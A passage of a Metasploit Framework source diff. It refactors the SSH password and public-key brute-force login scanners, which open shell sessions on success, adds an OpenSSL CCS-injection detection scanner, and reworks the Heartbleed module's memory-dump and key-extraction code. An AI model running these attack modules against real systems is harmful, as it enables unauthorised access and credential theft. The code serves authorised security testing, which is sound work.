pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::SSH.new( + host: ip, + port: rport, + cred_details: cred_collection, + proxies: datastore['Proxies'], + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: datastore['SSH_TIMEOUT'], + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + session_setup(result, scanner.ssh_socket) :next_user - when :connection_error - print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect: #{result.proof}" + end + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? + invalidate_login(credential_data) :abort - when :connection_disconnect - print_brute :level => :verror, :ip => ip, :msg => "Connection timed out" - :abort - when :fail - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{user}':'#{pass}'" + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login(credential_data) + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? + else + invalidate_login(credential_data) + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? end end end diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index ea3e0fd261..40a7b51688 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -1,19 +1,22 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/ssh' +require 'metasploit/framework/login_scanner/ssh' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report include Msf::Auxiliary::CommandShell - attr_accessor :ssh_socket, :good_credentials, :good_key, :good_key_data + include Msf::Auxiliary::Scanner + + attr_accessor :ssh_socket, :good_key def initialize super( @@ -40,22 +43,21 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(22), - OptPath.new('KEY_FILE', [false, 'Filename of one or several cleartext private keys.']) + OptPath.new('KEY_PATH', [true, 'Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be skipped.']), ], self.class ) register_advanced_options( [ + Opt::Proxies, OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptString.new('SSH_KEYFILE_B64', [false, 'Raw data of an unencrypted SSH public key. This should be used by programmatic interfaces to this module only.', '']), - OptPath.new('KEY_DIR', [false, 'Directory of several cleartext private keys. Filenames must not begin with a dot, or end in ".pub" in order to be read.']), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) - deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS') + deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS','USERPASS_FILE') - @good_credentials = {} @good_key = '' @strip_passwords = true @@ -138,213 +140,183 @@ class Metasploit3 < Msf::Auxiliary return cleartext_keys end - def do_login(ip,user,port) - if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE']) - keys = read_keyfile(datastore['KEY_FILE']) - cleartext_keys = pull_cleartext_keys(keys) - msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user." - elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty? - keys = read_keyfile(:keyfile_b64) - cleartext_keys = pull_cleartext_keys(keys) - msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)." - elsif datastore['KEY_DIR'] - return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir)) - unless @key_files - @key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/} - end - these_keys = @key_files.map {|f| File.join(key_dir,f)} - keys = read_keyfile(these_keys) - cleartext_keys = pull_cleartext_keys(keys) - msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user." - else - return :missing_keyfile - end - unless @alerted_with_msg - print_status msg - @alerted_with_msg = true - end - cleartext_keys.each_with_index do |key_data,key_idx| - opt_hash = { - :auth_methods => ['publickey'], - :msframework => framework, - :msfmodule => self, - :port => port, - :key_data => key_data, - :disable_agent => true, - :config => false, - :record_auth_info => true, - :proxies => datastore['Proxies'] - } - opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] - begin - ::Timeout.timeout(datastore['SSH_TIMEOUT']) do - self.ssh_socket = Net::SSH.start( - ip, - user, - opt_hash - ) - end - rescue Rex::ConnectionError, Rex::AddressInUse - return :connection_error - rescue Net::SSH::Disconnect, ::EOFError - return :connection_disconnect - rescue ::Timeout::Error - return :connection_disconnect - rescue Net::SSH::AuthenticationFailed - # Try, try, again - if @key_files - vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{@key_files[key_idx+1]}" - else - vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{key_idx+1}" - end - next - rescue Net::SSH::Exception => e - return [:fail,nil] # For whatever reason. - end - break - end + def session_setup(result, ssh_socket) + return unless ssh_socket - if self.ssh_socket - self.good_key = self.ssh_socket.auth_info[:pubkey_id] - self.good_key_data = self.ssh_socket.options[:key_data] - proof = '' - begin - Timeout.timeout(5) do - proof = self.ssh_socket.exec!("id\n").to_s - if(proof =~ /id=/) - proof << self.ssh_socket.exec!("uname -a\n").to_s - else - # Cisco IOS - if proof =~ /Unknown command or computer name/ - proof = self.ssh_socket.exec!("ver\n").to_s - else - proof << self.ssh_socket.exec!("help\n?\n\n\n").to_s - end - end - end - rescue ::Exception - end + # Create a new session from the socket + conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true) - # Create a new session from the socket, then dump it. - conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true) - self.ssh_socket = nil - - # Clean up the stored data - need to stash the keyfile into - # a datastore for later reuse. - merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => user - } - if datastore['KEY_FILE'] and !datastore['KEY_FILE'].empty? - keyfile = File.open(datastore['KEY_FILE'], "rb") {|f| f.read(f.stat.size)} - merge_me.merge!( - 'SSH_KEYFILE_B64' => [keyfile].pack("m*").gsub("\n",""), - 'KEY_FILE' => nil - ) - end - - s = start_session(self, "SSH #{user}:#{self.good_key} (#{ip}:#{port})", merge_me, false, conn.lsock) - - # Set the session platform - case proof - when /Linux/ - s.platform = "linux" - when /Darwin/ - s.platform = "osx" - when /SunOS/ - s.platform = "solaris" - when /BSD/ - s.platform = "bsd" - when /HP-UX/ - s.platform = "hpux" - when /AIX/ - s.platform = "aix" - when /Win32|Windows/ - s.platform = "windows" - when /Unknown command or computer name/ - s.platform = "cisco-ios" - end - - return [:success, proof] - else - return [:fail, nil] - end - end - - def do_report(ip, port, user, proof) - return unless framework.db.active - keyfile_path = store_keyfile(ip,user,self.good_key,self.good_key_data) - cred_hash = { - :host => ip, - :port => datastore['RPORT'], - :sname => 'ssh', - :user => user, - :pass => keyfile_path, - :type => "ssh_key", - :proof => "KEY=#{self.good_key}, PROOF=#{proof}", - :duplicate_ok => true, - :active => true + # Clean up the stored data - need to stash the keyfile into + # a datastore for later reuse. + merge_me = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => result.credential.public, + 'SSH_KEYFILE_B64' => [result.credential.private].pack("m*").gsub("\n",""), + 'KEY_PATH' => nil } - this_cred = report_auth_info(cred_hash) - end - def existing_loot(ltype, key_id) - framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first - end + info = "SSH #{result.credential.public}:#{ssh_socket.auth_info[:pubkey_id]} (#{ip}:#{rport})" + s = start_session(self, info, merge_me, false, conn.lsock) - def store_keyfile(ip,user,key_id,key_data) - safe_username = user.gsub(/[^A-Za-z0-9]/,"_") - case key_data - when /BEGIN RSA PRIVATE/m - ktype = "rsa" - when /BEGIN DSA PRIVATE/m - ktype = "dsa" - else - ktype = nil + # Set the session platform + case result.proof + when /Linux/ + s.platform = "linux" + when /Darwin/ + s.platform = "osx" + when /SunOS/ + s.platform = "solaris" + when /BSD/ + s.platform = "bsd" + when /HP-UX/ + s.platform = "hpux" + when /AIX/ + s.platform = "aix" + when /Win32|Windows/ + s.platform = "windows" + when /Unknown command or computer name/ + s.platform = "cisco-ios" end - return unless ktype - ltype = "host.unix.ssh.#{user}_#{ktype}_private" - keyfile = existing_loot(ltype, key_id) - return keyfile.path if keyfile - keyfile_path = store_loot( - ltype, - "application/octet-stream", # Text, but always want to mime-type attach it - ip, - (key_data + "\n"), - "#{safe_username}_#{ktype}.key", - key_id - ) - return keyfile_path + + s end def run_host(ip) print_status("#{ip}:#{rport} SSH - Testing Cleartext Keys") - # Since SSH collects keys and tries them all on one authentication session, it doesn't - # make sense to iteratively go through all the keys individually. So, ignore the pass variable, - # and try all available keys for all users. - each_user_pass do |user,pass| - ret,proof = do_login(ip,user,rport) - case ret - when :success - print_brute :level => :good, :msg => "Success: '#{user}':'#{self.good_key}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" - do_report(ip, rport, user, proof) - :next_user - when :connection_error - vprint_error "#{ip}:#{rport} SSH - Could not connect" - :abort - when :connection_disconnect - vprint_error "#{ip}:#{rport} SSH - Connection timed out" - :abort - when :fail - vprint_error "#{ip}:#{rport} SSH - Failed: '#{user}'" - when :missing_keyfile - vprint_error "#{ip}:#{rport} SSH - Cannot read keyfile." - when :no_valid_keys - vprint_error "#{ip}:#{rport} SSH - No cleartext keys in keyfile." + + if datastore["USER_FILE"].blank? && datastore["USERNAME"].blank? + # Ghetto abuse of the way OptionValidateError expects an array of + # option names instead of a string message like every sane + # subclass of Exception. + raise OptionValidateError, ["At least one of USER_FILE or USERNAME must be given"] + end + + keys = KeyCollection.new( + key_path: datastore['KEY_PATH'], + user_file: datastore['USER_FILE'], + username: datastore['USERNAME'], + ) + + keys = prepend_db_keys(keys) + + print_brute :level => :vstatus, :ip => ip, :msg => "Testing #{keys.key_data.count} keys from #{datastore['KEY_PATH']}" + scanner = Metasploit::Framework::LoginScanner::SSH.new( + host: ip, + port: rport, + cred_details: keys, + stop_on_success: datastore['STOP_ON_SUCCESS'], + proxies: datastore['Proxies'], + connection_timeout: datastore['SSH_TIMEOUT'], + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + session_setup(result, scanner.ssh_socket) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect: #{result.proof}" + end + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login(credential_data) + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? + else + invalidate_login(credential_data) + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? end end + end + class KeyCollection < Metasploit::Framework::CredentialCollection + attr_accessor :key_data + attr_accessor :key_path + + def initialize(opts={}) + super + valid! + end + + def realm + nil + end + + def valid! + @key_data = Set.new + if File.directory?(@key_path) + @key_files ||= Dir.entries(@key_path).reject { |f| f =~ /^\x2e|\x2epub$/ } + @key_files.each do |f| + data = read_key(File.join(@key_path, f)) + @key_data << data if valid_key?(data) + end + elsif File.file?(@key_path) + data = read_key(@key_path) + @key_data << data if valid_key?(data) + else + raise RuntimeError, "No key path" + end + end + + def valid_key?(key_data) + !!(key_data.match(/BEGIN [RD]SA PRIVATE KEY/) && !key_data.match(/Proc-Type:.*ENCRYPTED/)) + end + + def each + prepended_creds.each { |c| yield c } + + if @user_file.present? + File.open(@user_file, 'rb') do |user_fd| + user_fd.each_line do |user_from_file| + user_from_file.chomp! + each_key do |key_data| + yield Metasploit::Framework::Credential.new(public: user_from_file, private: key_data, realm: realm, private_type: :ssh_key) + end + end + end + end + + if @username.present? + each_key do |key_data| + yield Metasploit::Framework::Credential.new(public: @username, private: key_data, realm: realm, private_type: :ssh_key) + end + end + end + + def each_key + @key_data.each do |data| + yield data + end + end + + def read_key(filename) + @cache ||= {} + unless @cache[filename] + data = File.open(filename, 'rb') { |fd| fd.read(fd.stat.size) } + #if data.match + + @cache[filename] = data + end + + @cache[filename] + end + + end end diff --git a/modules/auxiliary/scanner/ssh/ssh_version.rb b/modules/auxiliary/scanner/ssh/ssh_version.rb index b3bbc3ec3c..3a0f37834e 100644 --- a/modules/auxiliary/scanner/ssh/ssh_version.rb +++ b/modules/auxiliary/scanner/ssh/ssh_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ssl/openssl_ccs.rb b/modules/auxiliary/scanner/ssl/openssl_ccs.rb new file mode 100644 index 0000000000..0bd2aa57fb --- /dev/null +++ b/modules/auxiliary/scanner/ssl/openssl_ccs.rb @@ -0,0 +1,207 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + CIPHER_SUITES = [ + 0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA + 0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA + 0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA + 0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA + 0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA + 0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA + 0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA + 0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA + 0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA + 0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA + 0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA + 0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA + 0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA + 0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA + 0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA + 0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA + 0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA + 0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA + 0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA + 0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA + 0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA + 0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA + 0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA + 0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA + 0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA + 0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA + 0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA + 0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA + 0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA + 0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA + 0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA + 0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA + 0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA + 0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA + 0x0096, # TLS_RSA_WITH_SEED_CBC_SHA + 0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA + 0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA + 0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA + 0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA + 0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA + 0x0005, # TLS_RSA_WITH_RC4_128_SHA + 0x0004, # TLS_RSA_WITH_RC4_128_MD5 + 0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA + 0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA + 0x0009, # TLS_RSA_WITH_DES_CBC_SHA + 0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA + 0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA + 0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA + 0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 + 0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5 + 0x00ff # Unknown + ] + + HANDSHAKE_RECORD_TYPE = 0x16 + CCS_RECORD_TYPE = 0x14 + ALERT_RECORD_TYPE = 0x15 + TLS_VERSION = { + 'SSLv3' => 0x0300, + '1.0' => 0x0301, + '1.1' => 0x0302, + '1.2' => 0x0303 + } + + def initialize + super( + 'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner', + 'Description' => %q{ + This module checks for the OpenSSL ChangeCipherSpec (CCS) + Injection vulnerability. The problem exists in the handling of early + CCS messages during session negotiation. Vulnerable installations of OpenSSL accepts + them, while later implementations do not. If successful, an attacker can leverage this + vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec + between a client and server. This issue was first reported in early June, 2014. + }, + 'Author' => [ + 'Masashi Kikuchi', # Vulnerability discovery + 'Craig Young <CYoung[at]tripwire.com>', # Original Scanner. This module is based on it. + 'juan vazquez' # Msf module + ], + 'References' => + [ + ['CVE', '2014-0224'], + ['URL', 'http://ccsinjection.lepidum.co.jp/'], + ['URL', 'http://ccsinjection.lepidum.co.jp/blog/2014-06-05/CCS-Injection-en/index.html'], + ['URL', 'http://www.tripwire.com/state-of-security/incident-detection/detection-script-for-cve-2014-0224-openssl-cipher-change-spec-injection/'], + ['URL', 'https://www.imperialviolet.org/2014/06/05/earlyccs.html'] + ], + 'DisclosureDate' => 'Jun 5 2014', + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]), + OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]) + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + def response_timeout + datastore['RESPONSE_TIMEOUT'] + end + + def run_host(ip) + ccs_injection + end + + def ccs_injection + connect_result = establish_connect + return if connect_result.nil? + + vprint_status("#{peer} - Sending CCS...") + sock.put(ccs) + alert = sock.get_once(-1, response_timeout) + if alert.blank? + print_good("#{peer} - No alert after invalid CCS message, probably vulnerable") + report + elsif alert.unpack("C").first == ALERT_RECORD_TYPE + vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable") + elsif alert + vprint_warning("#{peer} - Unexpected response.") + end + end + + def report + report_vuln({ + :host => rhost, + :port => rport, + :name => self.name, + :refs => self.references, + :info => "Module #{self.fullname} successfully detected CCS injection" + }) + end + + def ccs + payload = "\x01" # Change Cipher Spec Message + + ssl_record(CCS_RECORD_TYPE, payload) + end + + def client_hello + # Use current day for TLS time + time_temp = Time.now + time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i + + hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS + hello_data << [time_epoch].pack("N") # Time in epoch format + hello_data << Rex::Text.rand_text(28) # Random + hello_data << "\x00" # Session ID length + hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102) + hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites + hello_data << "\x01" # Compression methods length (1) + hello_data << "\x00" # Compression methods: null + + data = "\x01\x00" # Handshake Type: Client Hello (1) + data << [hello_data.length].pack("n") # Length + data << hello_data + + ssl_record(HANDSHAKE_RECORD_TYPE, data) + end + + def ssl_record(type, data) + record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn') + record << data + end + + def establish_connect + connect + + vprint_status("#{peer} - Sending Client Hello...") + sock.put(client_hello) + server_hello = sock.get_once(-1, response_timeout) + + unless server_hello + vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...") + disconnect + return nil + end + + unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE + vprint_error("#{peer} - Server Hello Not Found") + return nil + end + + true + end + +end + diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb index a5d6db0841..8162f133b2 100644 --- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -1,8 +1,14 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## +# TODO: Connection reuse: Only connect once and send subsequent heartbleed requests. +# We tried it once in https://github.com/rapid7/metasploit-framework/pull/3300 +# but there were too many errors +# TODO: Parse the rest of the server responses and return a hash with the data +# TODO: Extract the relevant functions and include them in the framework + require 'msf/core' class Metasploit3 < Msf::Auxiliary @@ -65,9 +71,15 @@ class Metasploit3 < Msf::Auxiliary 0x00ff # Unknown ] - HANDSHAKE_RECORD_TYPE = 0x16 - HEARTBEAT_RECORD_TYPE = 0x18 - ALERT_RECORD_TYPE = 0x15 + HANDSHAKE_RECORD_TYPE = 0x16 + HEARTBEAT_RECORD_TYPE = 0x18 + ALERT_RECORD_TYPE = 0x15 + HANDSHAKE_SERVER_HELLO_TYPE = 0x02 + HANDSHAKE_CERTIFICATE_TYPE = 0x0b + HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c + HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e + + TLS_VERSION = { 'SSLv3' => 0x0300, '1.0' => 0x0301, @@ -141,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary Opt::RPORT(443), OptEnum.new('TLS_CALLBACK', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP', 'POSTGRES' ]]), OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]), - OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]), + OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 50]), OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]), OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]), OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]) @@ -150,11 +162,20 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]), - OptString.new('XMPPDOMAIN', [ true, 'The XMPP Domain to use when Jabber is selected', 'localhost' ]) + OptString.new('XMPPDOMAIN', [true, 'The XMPP Domain to use when Jabber is selected', 'localhost']) ], self.class) end + def peer + "#{rhost}:#{rport}" + end + + # + # Main methods + # + + # Called when using check def check_host(ip) @check_only = true vprint_status "#{peer} - Checking for Heartbleed exposure" @@ -165,20 +186,48 @@ class Metasploit3 < Msf::Auxiliary end end + # Main method def run if heartbeat_length > 65535 || heartbeat_length < 0 - print_error("HEARTBEAT_LENGTH should be a natural number less than 65536") + print_error('HEARTBEAT_LENGTH should be a natural number less than 65536') return end if response_timeout < 0 - print_error("RESPONSE_TIMEOUT should be bigger than 0") + print_error('RESPONSE_TIMEOUT should be bigger than 0') return end super end + # Main method + def run_host(ip) + # initial connect to get public key and stuff + connect_result = establish_connect + disconnect + return if connect_result.nil? + + case action.name + when 'SCAN' + loot_and_report(bleed) + when 'DUMP' + loot_and_report(bleed) # Scan & Dump are similar, scan() records results + when 'KEYS' + getkeys + else + #Shouldn't get here, since Action is Enum + print_error("Unknown Action: #{action.name}") + end + + # ensure all connections are closed + disconnect + end + + # + # DATASTORE values + # + # If this is merely a check, set to the RFC-defined # maximum padding length of 2^14. See: # https://tools.ietf.org/html/rfc6520#section-4 @@ -187,53 +236,77 @@ class Metasploit3 < Msf::Auxiliary if @check_only SAFE_CHECK_MAX_RECORD_LENGTH else - datastore["HEARTBEAT_LENGTH"] + datastore['HEARTBEAT_LENGTH'] end end - def peer - "#{rhost}:#{rport}" - end - def response_timeout datastore['RESPONSE_TIMEOUT'] end + def tls_version + datastore['TLS_VERSION'] + end + + def dumpfilter + datastore['DUMPFILTER'] + end + + def max_keytries + datastore['MAX_KEYTRIES'] + end + + def xmpp_domain + datastore['XMPPDOMAIN'] + end + + def status_every + datastore['STATUS_EVERY'] + end + + def tls_callback + datastore['TLS_CALLBACK'] + end + + # + # TLS Callbacks + # + def tls_smtp # https://tools.ietf.org/html/rfc3207 - sock.get_once(-1, response_timeout) + get_data sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n") - res = sock.get_once(-1, response_timeout) + res = get_data unless res && res =~ /STARTTLS/ return nil end sock.put("STARTTLS\r\n") - sock.get_once(-1, response_timeout) + get_data end def tls_imap # http://tools.ietf.org/html/rfc2595 - sock.get_once(-1, response_timeout) + get_data sock.put("a001 CAPABILITY\r\n") - res = sock.get_once(-1, response_timeout) + res = get_data unless res && res =~ /STARTTLS/i return nil end sock.put("a002 STARTTLS\r\n") - sock.get_once(-1, response_timeout) + get_data end def tls_postgres # postgresql TLS - works with all modern pgsql versions - 8.0 - 9.3 # http://www.postgresql.org/docs/9.3/static/protocol-message-formats.html - sock.get_once + get_data # the postgres SSLRequest packet is a int32(8) followed by a int16(1234), # int16(5679) in network format psql_sslrequest = [8].pack('N') psql_sslrequest << [1234, 5679].pack('n*') sock.put(psql_sslrequest) - res = sock.get_once + res = get_data unless res && res =~ /S/ return nil end @@ -242,14 +315,14 @@ class Metasploit3 < Msf::Auxiliary def tls_pop3 # http://tools.ietf.org/html/rfc2595 - sock.get_once(-1, response_timeout) + get_data sock.put("CAPA\r\n") - res = sock.get_once(-1, response_timeout) + res = get_data if res.nil? || res =~ /^-/ || res !~ /STLS/ return nil end sock.put("STLS\r\n") - res = sock.get_once(-1, response_timeout) + res = get_data if res.nil? || res =~ /^-/ return nil end @@ -265,16 +338,16 @@ class Metasploit3 < Msf::Auxiliary end def tls_jabber - sock.put(jabber_connect_msg(datastore['XMPPDOMAIN'])) - res = sock.get(response_timeout) + sock.put(jabber_connect_msg(xmpp_domain)) + res = sock.get_once(-1, response_timeout) if res && res.include?('host-unknown') jabber_host = res.match(/ from='([\w.]*)' /) if jabber_host && jabber_host[1] disconnect - connect + establish_connect vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...") sock.put(jabber_connect_msg(jabber_host[1])) - res = sock.get(response_timeout) + res = sock.get_once(-1, response_timeout) end end if res.nil? || res.include?('stream:error') || res !~ /<starttls xmlns=['"]urn:ietf:params:xml:ns:xmpp-tls['"]/ @@ -283,17 +356,17 @@ class Metasploit3 < Msf::Auxiliary end msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" sock.put(msg) - res = sock.get(response_timeout) + res = sock.get_once(-1, response_timeout) return nil if res.nil? || !res.include?('<proceed') res end def tls_ftp # http://tools.ietf.org/html/rfc4217 - res = sock.get(response_timeout) + res = sock.get_once(-1, response_timeout) return nil if res.nil? sock.put("AUTH TLS\r\n") - res = sock.get_once(-1, response_timeout) + res = get_data return nil if res.nil? if res !~ /^234/ # res contains the error message @@ -303,31 +376,83 @@ class Metasploit3 < 